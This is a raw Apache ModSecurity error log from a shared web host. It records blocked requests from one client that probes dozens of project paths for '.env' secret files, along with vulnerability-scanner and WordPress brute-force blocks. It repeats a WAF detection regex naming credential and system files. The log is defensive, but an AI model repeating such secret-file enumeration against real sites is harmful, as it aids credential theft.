"(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fileserver/.env"] [unique_id "ai3zEFWSojQL4F7upKBkUgAAAOc"] [Sat Jun 13 18:17:20.468453 2026] [security2:error] [pid 648189:tid 648333] [remote 17.22.237.126:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 126.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zEFWSojQL4F7upKBkUwAAtG4"] [Sat Jun 13 18:17:20.585701 2026] [security2:error] [pid 648189:tid 648429] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/films/.env"] [unique_id "ai3zEFWSojQL4F7upKBkWQAAANA"] [Sat Jun 13 18:17:20.722666 2026] [security2:error] [pid 648189:tid 648433] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Final_Project/Airflow_Dag/.env"] [unique_id "ai3zEFWSojQL4F7upKBkXQAAANQ"] [Sat Jun 13 18:17:20.858945 2026] [security2:error] [pid 648189:tid 648381] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Final_Project/kafka_twitter/.env"] [unique_id "ai3zEFWSojQL4F7upKBkYAAAAKE"] [Sat Jun 13 18:17:20.902904 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:17:20.903330 2026] [access_compat:error] [pid 646876:tid 646881] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:17:20.975624 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.63:25586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:20.976118 2026] [access_compat:error] [pid 648189:tid 648329] [remote 57.141.14.63:25586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:20.997836 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Final_Project/StartingFile/.env"] [unique_id "ai3zEFWSojQL4F7upKBkYwAAAKg"] [Sat Jun 13 18:17:21.135265 2026] [security2:error] [pid 648189:tid 648434] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/finalVersion/lcomernbootcamp/projbackend/.env"] [unique_id "ai3zEVWSojQL4F7upKBkZgAAANU"] [Sat Jun 13 18:17:21.205118 2026] [security2:error] [pid 646876:tid 646951] [remote 17.22.237.180:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zEdyTkdrNlD40tSGuLQAAckg"] [Sat Jun 13 18:17:21.339517 2026] [security2:error] [pid 648189:tid 648228] [remote 17.246.15.66:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 66.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zEVWSojQL4F7upKBkbAAAmgg"] [Sat Jun 13 18:17:21.361783 2026] [security2:error] [pid 648189:tid 648473] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug26320.phpt"] [unique_id "ai3zEVWSojQL4F7upKBkbQAAAPc"] [Sat Jun 13 18:17:21.409149 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:17:21.409493 2026] [access_compat:error] [pid 646876:tid 646985] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQwL3Bvd2Vy [Sat Jun 13 18:17:21.419905 2026] [security2:error] [pid 648189:tid 648359] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/first-network/.env"] [unique_id "ai3zEVWSojQL4F7upKBkbwAAAIs"] [Sat Jun 13 18:17:21.534569 2026] [security2:error] [pid 646876:tid 646905] [remote 17.22.245.161:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 161.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zEdyTkdrNlD40tSGuMAAANho"] [Sat Jun 13 18:17:21.557075 2026] [security2:error] [pid 648189:tid 648379] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/FIRST_CONFIG/.env"] [unique_id "ai3zEVWSojQL4F7upKBkdAAAAJ8"] [Sat Jun 13 18:17:21.664658 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.73:36270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:21.665044 2026] [access_compat:error] [pid 648189:tid 648342] [remote 57.141.14.73:36270] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:21.686518 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.5:52397] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:21.686802 2026] [access_compat:error] [pid 648189:tid 648335] [remote 57.141.14.5:52397] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:21.692798 2026] [security2:error] [pid 648189:tid 648484] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fisdom/fisdom/.env"] [unique_id "ai3zEVWSojQL4F7upKBkfQAAAQI"] [Sat Jun 13 18:17:21.829371 2026] [security2:error] [pid 648189:tid 648365] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fixtures/blocks/.env"] [unique_id "ai3zEVWSojQL4F7upKBkgQAAAJE"] [Sat Jun 13 18:17:21.947421 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:17:21.947903 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:17:21.948839 2026] [security2:error] [pid 646876:tid 646999] [remote 209.74.93.184:33482] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 184.93.74.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gycblinds.com"] [uri "/wp-login.php"] [unique_id "ai3zEdyTkdrNlD40tSGuNQAADng"] [Sat Jun 13 18:17:21.955927 2026] [security2:error] [pid 648189:tid 648281] [remote 17.246.23.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zEVWSojQL4F7upKBkhwAAxzs"] [Sat Jun 13 18:17:21.972594 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fixtures/fiber-debugger/.env"] [unique_id "ai3zEVWSojQL4F7upKBkiAAAAOA"] [Sat Jun 13 18:17:22.022368 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.72:45039] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:22.022809 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.72:45039] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.110798 2026] [security2:error] [pid 648189:tid 648389] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fixtures/flight/.env"] [unique_id "ai3zElWSojQL4F7upKBkjQAAAKk"] [Sat Jun 13 18:17:22.154552 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.24:52396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:22.154852 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.24:52396] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.248665 2026] [security2:error] [pid 648189:tid 648437] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/fixtures/kitchensink/.env"] [unique_id "ai3zElWSojQL4F7upKBkkwAAANg"] [Sat Jun 13 18:17:22.303764 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.11:46105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:22.304045 2026] [access_compat:error] [pid 648189:tid 648299] [remote 57.141.14.11:46105] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:22.384763 2026] [security2:error] [pid 648189:tid 648471] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/flask/.env"] [unique_id "ai3zElWSojQL4F7upKBkmQAAAPU"] [Sat Jun 13 18:17:22.393459 2026] [security2:error] [pid 648189:tid 648346] [remote 17.246.15.61:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 61.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zElWSojQL4F7upKBkmwAAlns"] [Sat Jun 13 18:17:22.436372 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:17:22.436669 2026] [access_compat:error] [pid 646876:tid 646980] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDIvZGV2aWNlL2RyaXZlcg== [Sat Jun 13 18:17:22.494235 2026] [security2:error] [pid 646876:tid 647020] [client 34.23.213.224:40994] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zEtyTkdrNlD40tSGuPgAAAAw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:22.521186 2026] [security2:error] [pid 648189:tid 648447] [client 185.177.72.9:31328] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/flask_test_uploads/.env"] [unique_id "ai3zElWSojQL4F7upKBkngAAAOE"] [Sat Jun 13 18:17:22.556782 2026] [access_compat:error] [pid 646876:tid 646964] [remote 57.141.14.36:29098] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 